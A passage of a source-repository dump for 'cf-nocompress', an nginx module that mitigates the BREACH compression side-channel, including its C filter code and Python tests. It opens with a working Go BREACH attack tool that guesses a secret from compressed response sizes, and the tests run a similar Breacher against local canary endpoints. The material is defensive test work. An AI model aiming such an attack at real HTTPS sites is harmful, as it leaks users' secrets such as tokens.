PADDING + x, guess is correct is Len(Req1) < Len(Req2) 55 | */ 56 | func MakeGuess(target string, guessedSoFar string, guess string) (bool, error) { 57 | padding := ""; 58 | 59 | for i := 0; i < currentPadding / 2; i++ { 60 | padding += "{}"; 61 | } 62 | 63 | bytes1, err := Get(target + guessedSoFar + guess + padding); 64 | 65 | if err != nil { 66 | return false, err; 67 | } 68 | 69 | bytes2, err := Get(target + guessedSoFar + padding + guess); 70 | 71 | if err != nil { 72 | return false, err; 73 | } 74 | 75 | return bytes1 < bytes2, nil; 76 | } 77 | 78 | /** 79 | * Set currentPadding to a random value between padMin and padMax 80 | */ 81 | func AdjustPadding() { 82 | currentPadding = rand.Intn(PAD_MAX - PAD_MIN) + PAD_MIN; 83 | } 84 | 85 | func main() { 86 | 87 | if len(os.Args) < 2 { 88 | fmt.Printf("BadArgs\n"); 89 | return; 90 | } 91 | 92 | target := os.Args[1]; 93 | 94 | KeySpace := []string{"A", "B", "C", "D", "E", "F", "0","1","2","3","4","5","6","7","8","9"}; 95 | 96 | guessedSoFar := ""; 97 | badRounds := 0; 98 | 99 | for { 100 | roundWinner := ""; 101 | 102 | for _, key := range KeySpace { 103 | winner, err := MakeGuess(target, guessedSoFar, key); 104 | 105 | if err != nil { 106 | fmt.Printf("Error %s\n", err); 107 | return; 108 | } 109 | 110 | if winner { 111 | //TODO: Check there aren't two round winners 112 | roundWinner = key; 113 | } 114 | } 115 | 116 | if roundWinner == "" { 117 | AdjustPadding(); 118 | } 119 | 120 | if roundWinner == "" { 121 | for _, k1 := range KeySpace { 122 | for _, k2 := range KeySpace { 123 | winner, err := MakeGuess(target, guessedSoFar, k1 + k2); 124 | 125 | if err != nil { 126 | fmt.Printf("Error %s\n", err); 127 | return; 128 | } 129 | 130 | if winner { 131 | //TODO: Check there aren't two round winners 132 | roundWinner = k1 + k2; 133 | } 134 | } 135 | } 136 | } 137 | 138 | guessedSoFar += roundWinner; 139 | 140 | if roundWinner != "" { 141 | fmt.Printf("So Far: %s\n", guessedSoFar); 142 | badRounds = 0; 143 | } else { 144 | badRounds++; 145 | } 146 | 147 | fmt.Printf("Round Completed (%v bad rounds)\n", badRounds); 148 | 149 | if badRounds > BADROUND_MAX { 150 | break; 151 | } 152 | 153 | } 154 | 155 | fmt.Printf("Final Guess: %s\n", guessedSoFar); 156 | } -------------------------------------------------------------------------------- /cf-nocompress/src/cf_nocompress_conf.c: -------------------------------------------------------------------------------- 1 | #include "cf_nocompress_conf.h" 2 | 3 | #ifndef DDEBUG 4 | #define DDEBUG 0 5 | #endif 6 | #include "ddebug.h" 7 | 8 | extern ngx_module_t cf_nocompress_module; 9 | 10 | void* cf_nocompress_create_main_conf(ngx_conf_t *cf) { 11 | return ngx_pcalloc(cf->pool, sizeof(cf_nocompress_main_conf_t)); 12 | } 13 | 14 | void* cf_nocompress_create_loc_conf(ngx_conf_t *cf) { 15 | cf_nocompress_loc_conf_t *conf; 16 | 17 | conf = ngx_pcalloc(cf->pool, sizeof(cf_nocompress_loc_conf_t)); 18 | 19 | if (conf == NULL) { 20 | return NULL; 21 | } 22 | 23 | //Enabled by default 24 | conf->enabled = 1; 25 | 26 | ngx_array_init(&conf->multi_flags, cf->pool, 4, sizeof(int)); 27 | ngx_array_init(&conf->regexes, cf->pool, 4, sizeof(u_char *)); 28 | 29 | return conf; 30 | } 31 | 32 | char* cf_nocompress_merge_loc_conf(ngx_conf_t *cf, void *parent, void *child) { 33 | u_char **value; 34 | sre_int_t err_offset, err_regex_id; 35 | ngx_str_t prefix, suffix; 36 | sre_pool_t *ppool; /* parser pool */ 37 | sre_regex_t *re; 38 | sre_program_t *prog; 39 | 40 | cf_nocompress_main_conf_t *rmcf; 41 | cf_nocompress_loc_conf_t *prev = parent; 42 | cf_nocompress_loc_conf_t *conf = child; 43 | 44 | if (ngx_http_merge_types(cf, &conf->types_keys, &conf->types, 45 | &prev->types_keys, &prev->types, 46 | ngx_http_html_default_types) != NGX_OK) { 47 | return NGX_CONF_ERROR; 48 | } 49 | 50 | if (conf->regexes.nelts > 0 && conf->program == NULL) { 51 | 52 | dd("parsing and compiling %d regexes", (int) conf->regexes.nelts); 53 | 54 | //Sets the default state of the module to a 55 | 56 | 57 | ppool = sre_create_pool(1024); 58 | 59 | if (ppool == NULL) { 60 | return NGX_CONF_ERROR; 61 | } 62 | 63 | value = conf->regexes.elts; 64 | 65 | /** 66 | * Compile all parsed regex rules into a single re of alternations 67 | */ 68 | re = sre_regex_parse_multi(ppool, value, conf->regexes.nelts, 69 | &conf->ncaps, conf->multi_flags.elts, 70 | &err_offset, &err_regex_id); 71 | 72 | /** 73 | * Log any rule failure 74 | */ 75 | if (re == NULL) { 76 | 77 | if (err_offset >= 0) { 78 | prefix.data = value[err_regex_id]; 79 | prefix.len = err_offset; 80 | 81 | suffix.data = value[err_regex_id] + err_offset; 82 | suffix.len = ngx_strlen(value[err_regex_id]) - err_offset; 83 | 84 | ngx_conf_log_error(NGX_LOG_EMERG, cf, 0, 85 | "failed to parse regex at offset %i: " 86 | "syntax error; marked by <-- HERE in " 87 | "\"%V <-- HERE %V\"", 88 | (ngx_int_t) err_offset, &prefix, &suffix); 89 | 90 | } else { 91 | 92 | if (err_regex_id >= 0) { 93 | ngx_conf_log_error(NGX_LOG_EMERG, cf, 0, 94 | "failed to parse regex \"%s\"", 95 | value[err_regex_id]); 96 | 97 | } else { 98 | ngx_conf_log_error(NGX_LOG_EMERG, cf, 0, 99 | "failed to parse regex \"%s\" " 100 | "and its siblings", 101 | value[0]); 102 | } 103 | } 104 | 105 | sre_destroy_pool(ppool); 106 | return NGX_CONF_ERROR; 107 | } 108 | 109 | rmcf = ngx_http_conf_get_module_main_conf(cf, cf_nocompress_module); 110 | prog = sre_regex_compile(rmcf->compiler_pool, re); 111 | 112 | sre_destroy_pool(ppool); 113 | 114 | if (prog == NULL) { 115 | ngx_conf_log_error(NGX_LOG_EMERG, cf, 0, 116 | "failed to compile regex \"%s\" and its siblings", value[0]); 117 | return NGX_CONF_ERROR; 118 | } 119 | 120 | conf->program = prog; 121 | conf->ovecsize = 2 * (conf->ncaps + 1) * sizeof(sre_int_t); 122 | } else { 123 | conf->regexes = prev->regexes; 124 | conf->multi_flags = prev->multi_flags; 125 | conf->program = prev->program; 126 | conf->ncaps = prev->ncaps; 127 | conf->ovecsize = prev->ovecsize; 128 | conf->enabled = prev->enabled; 129 | } 130 | 131 | dd("merge Log Finished"); 132 | 133 | return NGX_CONF_OK; 134 | } 135 | -------------------------------------------------------------------------------- /cf-nocompress/src/cf_nocompress_util.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | * Copyright (C) Yichun Zhang (agentzh) 4 | */ 5 | 6 | 7 | #ifndef DDEBUG 8 | #define DDEBUG 0 9 | #endif 10 | #include "ddebug.h" 11 | 12 | #include "cf_nocompress_util.h" 13 | 14 | extern ngx_module_t cf_nocompress_module; 15 | 16 | ngx_chain_t* cf_nocompress_chain(ngx_pool_t *p, ngx_chain_t **free) { 17 | 18 | ngx_chain_t *cl = ngx_chain_get_free_buf(p, free); 19 | 20 | if (cl == NULL) { 21 | return NULL; 22 | } 23 | 24 | ngx_memzero(cl->buf, sizeof(ngx_buf_t)); 25 | 26 | cl->buf->tag = (ngx_buf_tag_t) &cf_nocompress_module; 27 | 28 | return cl; 29 | } 30 | 31 | ngx_int_t cf_nocompress_split(ngx_http_request_t *r, 32 | cf_nocompress_ctx_t *ctx, 33 | ngx_chain_t **pa, 34 | ngx_chain_t ***plast_a, 35 | sre_int_t split, 36 | ngx_chain_t **pb, 37 | ngx_chain_t ***plast_b, 38 | unsigned b_sane) { 39 | 40 | sre_int_t file_last; 41 | ngx_chain_t *cl, 42 | *newcl, 43 | **ll = pa; 44 | 45 | for (cl = *pa; cl; ll = &cl->next, cl = cl->next) { 46 | if (cl->buf->file_last > split) { 47 | 48 | /* found an overlap */ 49 | if (cl->buf->file_pos < split) { 50 | 51 | dd("adjust cl buf (b_sane=%d): \"%.*s\"", 52 | b_sane, (int) ngx_buf_size(cl->buf), cl->buf->pos); 53 | 54 | file_last = cl->buf->file_last; 55 | cl->buf->last -= file_last - split; 56 | cl->buf->file_last = split; 57 | 58 | dd("adjusted cl buf (next=%p): %.*s", 59 | cl->next, (int) ngx_buf_size(cl->buf), cl->buf->pos); 60 | 61 | /* build the b chain */ 62 | if (b_sane) { 63 | newcl = cf_nocompress_chain(r->pool, &ctx->free); 64 | 65 | if (newcl == NULL) { 66 | return NGX_ERROR; 67 | } 68 | 69 | newcl->buf->memory = 1; 70 | newcl->buf->pos = cl->buf->last; 71 | newcl->buf->last = cl->buf->last + file_last - split; 72 | newcl->buf->file_pos = split; 73 | newcl->buf->file_last = file_last; 74 | 75 | newcl->next = cl->next; 76 | 77 | *pb = newcl; 78 | 79 | if (plast_b) { 80 | *plast_b = cl->next ? *plast_a : &newcl->next; 81 | } 82 | 83 | } else { 84 | *pb = cl->next; 85 | if (plast_b) { 86 | *plast_b = *plast_a; 87 | } 88 | } 89 | 90 | /* truncate the a chain */ 91 | *plast_a = &cl->next; 92 | cl->next = NULL; 93 | 94 | return NGX_OK; 95 | } 96 | 97 | /* build the b chain */ 98 | *pb = cl; 99 | 100 | if (plast_b) { 101 | *plast_b = *plast_a; 102 | } 103 | 104 | /* truncate the a chain */ 105 | *plast_a = ll; 106 | *ll = NULL; 107 | 108 | return NGX_OK; 109 | } 110 | } 111 | 112 | /* missed */ 113 | *pb = NULL; 114 | 115 | if (plast_b) { 116 | *plast_b = pb; 117 | } 118 | 119 | return NGX_OK; 120 | } 121 | 122 | static inline 123 | ngx_int_t cf_nocompress_pending_buffer(ngx_http_request_t* r, 124 | cf_nocompress_ctx_t* ctx, 125 | ngx_buf_t* b, 126 | size_t len, 127 | sre_int_t from, 128 | sre_int_t to) { 129 | 130 | b->start = ngx_palloc(r->pool, len); 131 | 132 | if (b->start == NULL) { 133 | return NGX_ERROR; 134 | } 135 | 136 | b->temporary = 1; 137 | b->file_pos = from; 138 | b->file_last = to; 139 | b->end = b->start + len; 140 | b->pos = b->start; 141 | b->last = ngx_copy(b->pos, ctx->buf->pos + from - ctx->stream_pos, len); 142 | 143 | return NGX_OK; 144 | } 145 | 146 | ngx_int_t cf_nocompress_pending(ngx_http_request_t *r, 147 | cf_nocompress_ctx_t *ctx, 148 | sre_int_t from, 149 | sre_int_t to, 150 | ngx_chain_t **out) { 151 | 152 | size_t len; 153 | ngx_chain_t *cl; 154 | 155 | if (from < ctx->stream_pos) { 156 | from = ctx->stream_pos; 157 | } 158 | 159 | len = (size_t) (to - from); 160 | 161 | if (len == 0) { 162 | return NGX_ERROR; 163 | } 164 | 165 | ctx->total_buffered += len; 166 | 167 | /* TODO: If a max size is desired for a buffer it 168 | * can be checked here against total_buffered*/ 169 | 170 | /* Create a new chain for the pending buffer */ 171 | cl = cf_nocompress_chain(r->pool, &ctx->free); 172 | 173 | if (cl == NULL) { 174 | return NGX_ERROR; 175 | } 176 | 177 | ngx_int_t res = cf_nocompress_pending_buffer(r, 178 | ctx, 179 | cl->buf, 180 | len, from, to); 181 | 182 | if (res != NGX_OK) { 183 | return res; 184 | } 185 | 186 | dd("buffered pending data: stream_pos=%ld (%ld, %ld): %.*s", 187 | (long) ctx->stream_pos, 188 | (long) from, (long) to, 189 | (int) len, 190 | ctx->buf->pos + from - ctx->stream_pos); 191 | 192 | *out = cl; 193 | return NGX_OK; 194 | } -------------------------------------------------------------------------------- /cf-nocompress/tests/test_compression.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | 5 | import urllib2 6 | 7 | from ngxtest import unit 8 | from difflib import unified_diff 9 | from json import loads 10 | from urllib2 import HTTPError 11 | from breach import Breacher 12 | 13 | import simple_env 14 | import unittest 15 | import ssl 16 | 17 | ctx = ssl.create_default_context() 18 | ctx.check_hostname = False 19 | ctx.verify_mode = ssl.CERT_NONE 20 | 21 | class TestNoCompress(unit.TestCase): 22 | _env = None 23 | _manage_env = False 24 | 25 | @classmethod 26 | def setUpClass(cls): 27 | print "Setting up env" 28 | cls._env = simple_env.SimpleEnv(log_level='warn') 29 | pid = cls._env.getpid() 30 | if pid: 31 | print >> sys.stderr, "Using running env with pid {}".format(pid) 32 | else: 33 | cls._manage_env = True 34 | cls._env.runAsync() 35 | 36 | @classmethod 37 | def tearDownClass(cls): 38 | if cls._manage_env: 39 | cls._env.stopAsync() 40 | 41 | 42 | def get_url(self, name, gzip): 43 | req = urllib2.Request(self.resolveURL(name, 'https')) 44 | if gzip: 45 | req.add_header('Accept-encoding', 'gzip') 46 | f = urllib2.urlopen(req, context=ctx) 47 | if gzip: 48 | self.assertEqual(f.info().get('Content-Encoding'), 'gzip') 49 | return f.read() 50 | 51 | 52 | def _test_compressed(self, name, correct_name, gt): 53 | data_ef = '' 54 | try: 55 | data_ef = self.get_url(name, True) 56 | except HTTPError as e: 57 | pass 58 | with open('t/' + correct_name) as f: 59 | data_correct = f.read() 60 | if gt == True and (len(data_ef) >= len(data_correct)): 61 | self.fail('Compression Error, expected ' + str(len(data_ef)) + ' (' + data_ef + ') to be less than ' + str(len(data_correct))) 62 | elif gt == False and (len(data_ef) < len(data_correct)): 63 | self.fail('Compression Error, expected ' + str(len(data_ef)) + ' (' + data_ef + ') to be greater than ' + str(len(data_correct))) 64 | 65 | def _test_helper(self, name, correct_name): 66 | data_ef = '' 67 | try: 68 | data_ef = self.get_url(name, False) 69 | except HTTPError as e: 70 | pass 71 | with open('t/' + correct_name) as f: 72 | data_correct = f.read() 73 | if data_ef != data_correct: 74 | self.fail('Content mismatch\n' + 'origin ' + data_ef + ' end expected ' + data_correct) 75 | 76 | def testHTTPS(self): 77 | ''' Test expected output with everything disabled and no GZIP support ''' 78 | self._test_helper('/', 'expected/secret') 79 | 80 | 81 | def testHTTPSGzip(self): 82 | ''' Test expected output with everything disabled and GZIP on ''' 83 | self._test_helper('/gzip', 'expected/secret') 84 | 85 | def testDefaultOff(self): 86 | ''' Test that the filter is a noop if not enabled by LUA ''' 87 | self._test_compressed('/no_compress_but_not_enabled', 'expected/a', True) 88 | 89 | def testNotCompressed(self): 90 | ''' Test that the filter compresses data if enabled ''' 91 | self._test_compressed('/no_compress_and_is_enabled', 'expected/a', False) 92 | 93 | def testRatioNotRuined(self): 94 | ''' Test that a small nocompress item does not completely ruin compression ratio ''' 95 | self._test_compressed('/ratio_hit', 'expected/hello', True) 96 | 97 | def testRatioNotRuinedBigger(self): 98 | ''' Test that a small nocompress item does not completely ruin compression ratio on a large example ''' 99 | self._test_compressed('/ratio_hit2', 'expected/hello_world_repeat', True) 100 | 101 | def testRatioNotRuinedStart(self): 102 | ''' Test that a small nocompress item does not completely ruin compression ratio when it occurs at the start of the response ''' 103 | self._test_compressed('/ratio_hit_start', 'expected/hello_world_start', True) 104 | 105 | def testBreachDeployment(self): 106 | ''' Test that we not vulnerable to breach with the deployment key ''' 107 | a = Breacher('1', '2') 108 | guessed = a.go(self.resolveURL('/canary2?KEY=KEY:', 'https'), 50, 5) 109 | self.assertEqual(guessed, '') 110 | 111 | def testBreach(self): 112 | ''' Test that we are vulnerable to BREACH ''' 113 | a = Breacher('A', 'Z') 114 | guessed = a.go(self.resolveURL('/canary?test=CanaryCrazyFun:', 'https'), 50, 5) 115 | self.assertEqual(guessed, 'AZAZA') 116 | 117 | def testBreachBadRule(self): 118 | ''' Test that we are vulnerable to BREACH when the rule is unrelated ''' 119 | a = Breacher('A', 'Z') 120 | guessed = a.go(self.resolveURL('/bad_rule_canary?test=CanaryCrazyFun:', 'https'), 50, 5) 121 | self.assertEqual(guessed, 'AZAZA') 122 | 123 | def testBreachNoCompress(self): 124 | ''' Test that we are not vulnerable to BREACH if we attack a protected endpoint ''' 125 | a = Breacher('A', 'Z') 126 | guessed = a.go(self.resolveURL('/safe_canary?test=CanaryCrazyFun:', 'https'), 50, 5) 127 | self.assertEqual(guessed, '') 128 | 129 | def testBreach2(self): 130 | ''' Test that we are vulnerable to BREACH on a more complex example with a more precise rule ''' 131 | a = Breacher('A', 'Z') 132 | guessed = a.go(self.resolveURL('/canary2?test=CanaryCrazyFun:', 'https'), 50, 5) 133 | self.assertEqual(guessed, 'AZAZA') 134 | 135 | 136 | def testBreach2Repeated(self): 137 | ''' Test that we are vulnerable to BREACH on a more complex example with a more precise rule and the canary repeated ''' 138 | a = Breacher('A', 'Z') 139 | guessed = a.go(self.resolveURL('/canary2_repeated?test=CanaryCrazyFun:', 'https'), 50, 5) 140 | self.assertEqual(guessed, 'AZAZA') 141 | 142 | def testBreachNoCompress2(self): 143 | ''' Test that we are not vulnerable to BREACH on a more complex example with a more precise rule if we enable nocompress ''' 144 | a = Breacher('A', 'Z') 145 | guessed = a.go(self.resolveURL('/safe_canary2?test=CanaryCrazyFun:', 'https'), 50, 5) 146 | self.assertEqual(guessed, '') 147 | 148 | def testBreachNoCompress2Repeated(self): 149 | ''' Test that we are not vulnerable to BREACH on a more complex example with a more precise rule if we enable nocompress even when the secret and canary are repeated multiple times ''' 150 | a = Breacher('A', 'Z') 151 | guessed = a.go(self.resolveURL('/safe_canary2_repeated?test=CanaryCrazyFun:', 'https'), 50, 5) 152 | self.assertEqual(guessed, '') 153 | 154 | 155 | def testBreach3(self): 156 | ''' Test that we are vulnerable to BREACH on a 5 character secret in 50 attempts ''' 157 | a = Breacher('1', '2') 158 | guessed = a.go(self.resolveURL('/canary3?test=CanaryCrazyFun:', 'https'), 50, 5) 159 | self.assertEqual(guessed, '11221') 160 | 161 | def testBreachNoCompress3(self): 162 | ''' Test that we are not vulnerable to BREACH on a 5 character secret in 50 attempts if we enable the feature ''' 163 | a = Breacher('1', '2') 164 | guessed = a.go(self.resolveURL('/safe_canary3?test=CanaryCrazyFun:', 'https'), 200, 5) 165 | self.assertEqual(guessed, '') 166 | 167 | if __name__ == '__main__': 168 | TestHTTPS.main(simple_env.SimpleEnv) 169 | -------------------------------------------------------------------------------- /cf-nocompress/src/cf_nocompress_module.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | * Copyright (C) Yichun Zhang (agentzh) 4 | * Copyright (C) Igor Sysoev 5 | * Copyright (C) Nginx, Inc. 6 | */ 7 | 8 | 9 | #ifndef DDEBUG 10 | #define DDEBUG 0 11 | #endif 12 | #include "ddebug.h" 13 | 14 | #include "cf_nocompress_module.h" 15 | #include "cf_nocompress_conf.h" 16 | #include "cf_nocompress_parse.h" 17 | #include "cf_nocompress_flag.h" 18 | #include "cf_nocompress_util.h" 19 | #include "cf_nocompress_out.h" 20 | 21 | static const size_t SREGEX_COMPILER_POOL_SIZE = 4096; 22 | 23 | static char *cf_nocompress_rule(ngx_conf_t *cf, 24 | ngx_command_t *cmd, void *conf); 25 | 26 | static ngx_int_t cf_nocompress_filter_init(ngx_conf_t *cf); 27 | 28 | /** 29 | * Handler to free SRE pools 30 | */ 31 | static void cf_nocompress_cleanup_pool(void *data); 32 | 33 | static ngx_command_t cf_nocompress_commands[] = { 34 | { ngx_string("cf_no_compress"), 35 | NGX_HTTP_MAIN_CONF|NGX_HTTP_SRV_CONF|NGX_HTTP_LOC_CONF|NGX_HTTP_LIF_CONF 36 | |NGX_CONF_TAKE1, 37 | cf_nocompress_rule, 38 | NGX_HTTP_LOC_CONF_OFFSET, 39 | 0, 40 | NULL }, 41 | ngx_null_command 42 | }; 43 | 44 | 45 | static ngx_http_module_t cf_nocompress_module_ctx = { 46 | NULL, /* preconfiguration */ 47 | cf_nocompress_filter_init, /* postconfiguration */ 48 | cf_nocompress_create_main_conf, /* create main configuration */ 49 | NULL, /* init main configuration */ 50 | NULL, /* create server configuration */ 51 | NULL, /* merge server configuration */ 52 | cf_nocompress_create_loc_conf, /* create location configuration */ 53 | cf_nocompress_merge_loc_conf /* merge location configuration */ 54 | }; 55 | 56 | 57 | ngx_module_t cf_nocompress_module = { 58 | NGX_MODULE_V1, 59 | &cf_nocompress_module_ctx, /* module context */ 60 | cf_nocompress_commands, /* module directives */ 61 | NGX_HTTP_MODULE, /* module type */ 62 | NULL, /* init master */ 63 | NULL, /* init module */ 64 | NULL, /* init process */ 65 | NULL, /* init thread */ 66 | NULL, /* exit thread */ 67 | NULL, /* exit process */ 68 | NULL, /* exit master */ 69 | NGX_MODULE_V1_PADDING 70 | }; 71 | 72 | ngx_http_output_header_filter_pt ngx_http_next_header_filter; 73 | ngx_http_output_body_filter_pt ngx_http_next_body_filter; 74 | 75 | /** 76 | * Changes the enabled/disabled state of the module 77 | * Called from LUA to enable the module 78 | */ 79 | void cf_nocompress_set_enabled(void* r, unsigned enabled) { 80 | cf_nocompress_loc_conf_t *rlcf; 81 | 82 | dd("change nocompress enabled to %i", enabled); 83 | 84 | rlcf = ngx_http_get_module_loc_conf( 85 | (ngx_http_request_t*) r,cf_nocompress_module); 86 | 87 | rlcf->enabled = enabled; 88 | } 89 | 90 | /** 91 | * Reset state for the next request 92 | */ 93 | static ngx_int_t 94 | cf_nocompress_header_filter(ngx_http_request_t *r) { 95 | 96 | size_t size; 97 | ngx_pool_cleanup_t *cln; 98 | cf_nocompress_ctx_t *ctx; 99 | cf_nocompress_loc_conf_t *rlcf; 100 | 101 | dd("header filter"); 102 | 103 | rlcf = ngx_http_get_module_loc_conf(r, cf_nocompress_module); 104 | 105 | if (rlcf->enabled == 0 || rlcf->regexes.nelts == 0 106 | || r->headers_out.content_length_n == 0 107 | || (r->headers_out.content_encoding 108 | && r->headers_out.content_encoding->value.len) 109 | || ngx_http_test_content_type(r, &rlcf->types) == NULL) 110 | { 111 | return ngx_http_next_header_filter(r); 112 | } 113 | 114 | ctx = ngx_pcalloc(r->pool, sizeof(cf_nocompress_ctx_t)); 115 | 116 | if (ctx == NULL) { 117 | return NGX_ERROR; 118 | } 119 | 120 | ctx->last_special = &ctx->special; 121 | ctx->last_pending = &ctx->pending; 122 | ctx->last_pending2 = &ctx->pending2; 123 | ctx->last_captured = &ctx->captured; 124 | 125 | ctx->sub = ngx_pcalloc(r->pool, 126 | rlcf->regexes.nelts * sizeof(ngx_str_t)); 127 | 128 | if (ctx->sub == NULL) { 129 | return NGX_ERROR; 130 | } 131 | 132 | ctx->ovector = ngx_palloc(r->pool, rlcf->ovecsize); 133 | 134 | if (ctx->ovector == NULL) { 135 | return NGX_ERROR; 136 | } 137 | 138 | size = ngx_align(rlcf->regexes.nelts, 8) / 8; 139 | 140 | ctx->disabled = ngx_pcalloc(r->pool, size); 141 | 142 | if (ctx->disabled == NULL) { 143 | return NGX_ERROR; 144 | } 145 | 146 | ctx->vm_pool = sre_create_pool(1024); 147 | 148 | if (ctx->vm_pool == NULL) { 149 | return NGX_ERROR; 150 | } 151 | 152 | dd("created vm pool %p", ctx->vm_pool); 153 | 154 | cln = ngx_pool_cleanup_add(r->pool, 0); 155 | 156 | if (cln == NULL) { 157 | sre_destroy_pool(ctx->vm_pool); 158 | return NGX_ERROR; 159 | } 160 | 161 | cln->data = ctx->vm_pool; 162 | cln->handler = cf_nocompress_cleanup_pool; 163 | 164 | ctx->vm_ctx = sre_vm_pike_create_ctx(ctx->vm_pool, 165 | rlcf->program, 166 | ctx->ovector, 167 | rlcf->ovecsize); 168 | 169 | if (ctx->vm_ctx == NULL) { 170 | return NGX_ERROR; 171 | } 172 | 173 | ctx->last_out = &ctx->out; 174 | 175 | ngx_http_set_ctx(r, ctx, cf_nocompress_module); 176 | 177 | r->filter_need_in_memory = 1; 178 | 179 | ctx->indices = ngx_array_create(r->pool, 1, sizeof(void*)); 180 | 181 | return ngx_http_next_header_filter(r); 182 | } 183 | 184 | 185 | static void 186 | cf_nocompress_cleanup_pool(void *data) { 187 | sre_pool_t* pool = data; 188 | if (pool) { 189 | dd("destroy sre pool %p", pool); 190 | sre_destroy_pool(pool); 191 | } 192 | } 193 | 194 | static void 195 | cf_nocompress_update_buf(cf_nocompress_ctx_t* ctx) { 196 | ctx->pos = ctx->buf->pos; 197 | ctx->special_buf = ngx_buf_special(ctx->buf); 198 | ctx->last_buf = (ctx->buf->last_buf || ctx->buf->last_in_chain); 199 | } 200 | 201 | static ngx_int_t 202 | cf_nocompress_body_filter(ngx_http_request_t *r, ngx_chain_t *in) { 203 | 204 | ngx_int_t rc; 205 | ngx_buf_t *b; 206 | ngx_chain_t *cl, *cur = NULL, *rematch = NULL; 207 | cf_nocompress_ctx_t *ctx; 208 | 209 | dd("body filter"); 210 | 211 | ctx = ngx_http_get_module_ctx(r,cf_nocompress_module); 212 | 213 | /* If there is no context or there is no data to process */ 214 | if (ctx == NULL || (!in && !ctx->buf && !ctx->in && !ctx->busy)) { 215 | return ngx_http_next_body_filter(r, in); 216 | } 217 | 218 | if (ctx->vm_done && (!ctx->buf || !ctx->in)) { 219 | 220 | if (cf_nocompress_flush_out(r, ctx) == NGX_ERROR) { 221 | return NGX_ERROR; 222 | } 223 | 224 | return ngx_http_next_body_filter(r, in); 225 | } 226 | 227 | /* Add the incoming chain to the chain ctx->in */ 228 | if (in && ngx_chain_add_copy(r->pool, &ctx->in, in) != NGX_OK) { 229 | return NGX_ERROR; 230 | } 231 | 232 | ngx_log_debug1(NGX_LOG_DEBUG_HTTP, r->connection->log, 233 | 0, "http sub filter \"%V\"", &r->uri); 234 | 235 | /* While there is data in the buffer or data in incoming */ 236 | while (ctx->in || ctx->buf) { 237 | 238 | b = NULL; 239 | 240 | /* If there is no buffer select next input in chain */ 241 | if (ctx->buf == NULL) { 242 | cur = ctx->in; 243 | ctx->buf = cur->buf; 244 | ctx->in = cur->next; 245 | 246 | cf_nocompress_update_buf(ctx); 247 | 248 | dd("=== new incoming buf: size=%d, special=%u, last=%u", 249 | (int) ngx_buf_size(ctx->buf), ctx->special_buf, ctx->last_buf); 250 | } 251 | 252 | /* While there is still more data in the buffer 253 | * or special buffers are still set */ 254 | while (ctx->pos < ctx->buf->last 255 | || (ctx->special_buf && ctx->last_buf)) { 256 | 257 | rc = cf_nocompress_parse(r, ctx, rematch); 258 | 259 | ngx_log_debug3(NGX_LOG_DEBUG_HTTP, r->connection->log, 0, 260 | "replace filter parse: %d, %p-%p", rc, 261 | ctx->copy_start, ctx->copy_end); 262 | 263 | if (rc == NGX_ERROR) { 264 | return rc; 265 | } 266 | 267 | if (rc == NGX_DECLINED) { 268 | 269 | if (ctx->pending) { 270 | *ctx->last_out = ctx->pending; 271 | ctx->last_out = ctx->last_pending; 272 | 273 | ctx->pending = NULL; 274 | ctx->last_pending = &ctx->pending; 275 | } 276 | 277 | if (ctx->special_buf) { 278 | ctx->copy_start = NULL; 279 | ctx->copy_end = NULL; 280 | } else { 281 | ctx->copy_start = ctx->pos; 282 | ctx->copy_end = ctx->buf->last; 283 | ctx->pos = ctx->buf->last; 284 | } 285 | 286 | sre_reset_pool(ctx->vm_pool); 287 | ctx->vm_done = 1; 288 | } 289 | 290 | dd("copy_end - copy_start: %d, special: %u", 291 | (int) (ctx->copy_end - ctx->copy_start), ctx->special_buf); 292 | 293 | if (ctx->copy_start != ctx->copy_end && !ctx->special_buf) { 294 | dd("copy: %.*s", 295 | (int) (ctx->copy_end - ctx->copy_start), ctx->copy_start); 296 | 297 | cl = cf_nocompress_chain(r->pool, &ctx->free); 298 | 299 | if (cl == NULL) { 300 | return NGX_ERROR; 301 | } 302 | 303 | b = cl->buf; 304 | 305 | b->memory = 1; 306 | b->pos = ctx->copy_start; 307 | b->last = ctx->copy_end; 308 | 309 | cf_nocompress_out(ctx, cl); 310 | } 311 | 312 | if (rc == NGX_AGAIN) { 313 | if (ctx->special_buf && ctx->last_buf) { 314 | break; 315 | } 316 | continue; 317 | } 318 | 319 | if (rc == NGX_DECLINED) { 320 | break; 321 | } 322 | 323 | /* rc == NGX_OK || rc == NGX_BUSY */ 324 | 325 | cl = cf_nocompress_chain(r->pool, &ctx->free); 326 | 327 | if (cl == NULL) { 328 | return NGX_ERROR; 329 | } 330 | 331 | dd("emit nocompress value: \"%.*s\"", 332 | (int) (ctx->match_end - ctx->match_start), ctx->match_start); 333 | 334 | cl->buf->memory = 1; 335 | cl->buf->pos = ctx->match_start; 336 | cl->buf->last = ctx->match_end; 337 | 338 | cf_nocompress_flag(ctx, cl->buf); 339 | cf_nocompress_out(ctx, cl); 340 | 341 | if (rc == NGX_BUSY) { 342 | dd("goto rematch"); 343 | goto rematch; 344 | } 345 | 346 | if (ctx->special_buf) { 347 | break; 348 | } 349 | 350 | continue; 351 | } 352 | 353 | if ((ctx->buf->flush || ctx->last_buf || ngx_buf_in_memory(ctx->buf)) 354 | && cur) { 355 | 356 | if (b == NULL) { 357 | cl = cf_nocompress_chain(r->pool, &ctx->free); 358 | 359 | if (cl == NULL) { 360 | return NGX_ERROR; 361 | } 362 | 363 | b = cl->buf; 364 | b->sync = 1; 365 | 366 | cf_nocompress_out(ctx, cl); 367 | } 368 | 369 | dd("setting shadow and last buf: %d", (int) ctx->buf->last_buf); 370 | b->last_buf = ctx->buf->last_buf; 371 | b->last_in_chain = ctx->buf->last_in_chain; 372 | b->flush = ctx->buf->flush; 373 | b->shadow = ctx->buf; 374 | b->recycled = ctx->buf->recycled; 375 | } 376 | 377 | if (ctx->special_buf == 0) { 378 | ctx->stream_pos += ctx->buf->last - ctx->buf->pos; 379 | } 380 | 381 | if (rematch) { 382 | rematch->next = ctx->free; 383 | ctx->free = rematch; 384 | rematch = NULL; 385 | } 386 | 387 | rematch: 388 | /** Rematch Section */ 389 | dd("ctx->rematch: %p", ctx->rematch); 390 | 391 | if (ctx->rematch == NULL) { 392 | ctx->buf = NULL; 393 | cur = NULL; 394 | } else { 395 | 396 | if (cur) { 397 | ctx->in = cur; 398 | cur = NULL; 399 | } 400 | 401 | ctx->buf = ctx->rematch->buf; 402 